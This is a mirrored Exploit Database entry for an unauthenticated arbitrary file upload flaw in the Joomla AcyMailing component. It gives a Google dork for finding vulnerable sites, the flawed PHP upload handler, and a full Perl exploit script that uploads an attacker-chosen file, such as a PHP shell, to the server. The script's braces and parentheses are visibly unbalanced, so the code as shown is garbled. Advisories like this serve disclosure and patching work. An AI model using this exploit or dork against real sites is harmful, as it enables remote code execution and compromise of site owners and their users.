Joomla! Component ACYMAILING 3.9.0 – Unauthenticated Arbitrary File Upload

Exploit Database
174 阅读

作者： qw3rTyTy

日期： 2020-03-18
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/48230/

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# Exploit Title: Joomla! ACYMAILING 3.9.0 component - Unauthenticated Arbitrary File Upload

# Google Dork: inurl:"index.php?option=com_acym"

# Date: 2020-03-16

# Exploit Author: qw3rTyTy

# Vendor Homepage: https://www.acyba.com/

# Software Link: https://www.acyba.com/acymailing/download.html

# Version: v6.9.1 Starter

# Tested on: Joomla! v3.9.0

# CVE: N/A

########################################################################################

#Analysis of vulnerability

########################################################################################

Vulnerable code is in MailsController::setNewIconShare() in file "back/controllers/mails.php".

[BEGIN_CODE]

600 public function setNewIconShare()

601 {

602 $socialName = acym_getVar('string', 'social', '');

603 $extension = pathinfo($_FILES['file']['name']);

604 $newPath = ACYM_UPLOAD_FOLDER.'socials'.DS.$socialName;

605 $newPathComplete = $newPath.'.'.$extension['extension'];

606 //There code is no checking CSRF token, no sanitizing, and authentication.

607 if (!acym_uploadFile($_FILES['file']['tmp_name'], ACYM_ROOT.$newPathComplete) || empty($socialName)) { //!!!

608 echo 'error';

609 exit;

610 }

611

612 $newConfig = new stdClass();

613 $newConfig->social_icons = json_decode($this->config->get('social_icons', '{}'), true);

614

615 $newImg = acym_rootURI().$newPathComplete;

616 $newImgWithoutExtension = acym_rootURI().$newPath;

617

618 $newConfig->social_icons[$socialName] = $newImg;

619 $newConfig->social_icons = json_encode($newConfig->social_icons);

620 $this->config->save($newConfig);

621

622 echo json_encode(

623 [

624 'url' => $newImgWithoutExtension,

625 'extension' => $extension['extension'],

626 ]

627 );

628 exit;

629 }

function acym_uploadFile($src, $dest)

{

$dest = acym_cleanPath($dest);

$baseDir = dirname($dest);

if (!file_exists($baseDir)) {

acym_createFolder($baseDir);

}

if (is_writeable($baseDir) && move_uploaded_file($src, $dest)) {//!!!

if (@chmod($dest, octdec('0644'))) {

return true;

} else {

acym_enqueueMessage(acym_translation('ACYM_FILE_REJECTED_SAFETY_REASON'), 'error');

}

} else {

acym_enqueueMessage(acym_translation_sprintf('ACYM_COULD_NOT_UPLOAD_FILE_PERMISSION', $baseDir), 'error');

}

return false;

}

[END_CODE]

########################################################################################

#Exploit

########################################################################################

#!/usr/bin/perl

#$> perl ./exploit.pl "http://127.0.0.1/joomla" "lolz" /tmp/lolz.php

use strict;

use warnings;

use LWP::UserAgent;

use JSON(qw/decode_json/);

########################################################################################

sub print_usage_and_exit

{

print("*** com_acym Arbitrary File Upload exploit\n");

print("Usage: $0 <URL> <path_to_upload> <file_to_upload>\n");

print("\n");

exit();

}

sub fetch_useragent

{

my @available_useragents = (

"gertrud barkhorn",

"erica hartmann",

"eila ilmatar juutilainen",

);

return($available_useragents[(rand(scalar(@available_useragents)))]);

}

sub is_valid_url

{

my $given_url = shift(@_);

return 1 if ( $given_url =~ /^http(s)?:\/\// );

return 0;

}

sub do_die

{

my $errmsg = shift(@_);

printf("[!] %s\n", $errmsg);

exit();

}

sub get_base_path

{

return(sprintf("%s/index.php", $_[0]));

}

sub do_exploit

{

my %params = %{ shift(@_); };

my $ua = LWP::UserAgent->new(

"agent" => $params{"useragent"},

"timeout" => 360

);

print("[+] Trying to exploit ...\n");

print("[*] Sending POST request ...\n");

my $response = $ua->post(

get_base_path($params{"url"}),

"Content-Type" => "form-data",

"Accept-Language" => "zh-cn",

"Content" => {

"option" => "com_acym",

"ctrl" => "frontmails",

"task" => "setNewIconShare",

"social" => $params{"path"},

"file" => [ $params{"file"} ],

);

if ( $response->code == 200 )

{

my $j = decode_json($response->decoded_content);

my $f = sprintf("%s.%s",

$j->{"url"}, $j->{"extension"});

my $response = $ua->head($f);

printf("[\$] Uploaded file in %s\n", $f) if ( $response->code == 200 );

}

sub main

{

print_usage_and_exit() if ( scalar(@ARGV) < 2 );

my %params = (

"url" => $ARGV[0],

"path" => $ARGV[1],

"file" => $ARGV[2],

"useragent" => fetch_useragent());

do_die("Given invalid URL.") if ( !is_valid_url($ARGV[0]) );

do_die("Given invalid File.") if ( (!-e $ARGV[2]) or (stat($ARGV[2]))[7] == 0);

printf("[*] Parameters:\n");

while ( my ($k, $v) = each(%params) ) { printf("[+] %s => %s\n", $k, $v); }

printf("*" x50 . "\n");

while ( 1 )

{

printf("[?] Proceed(y/n)> ");

my $c = <STDIN>;

chomp($c);

if ( (length($c) == 1) and lc($c) eq "y" )

{

do_exploit(\%params);

last;

}

main();

########################################################################################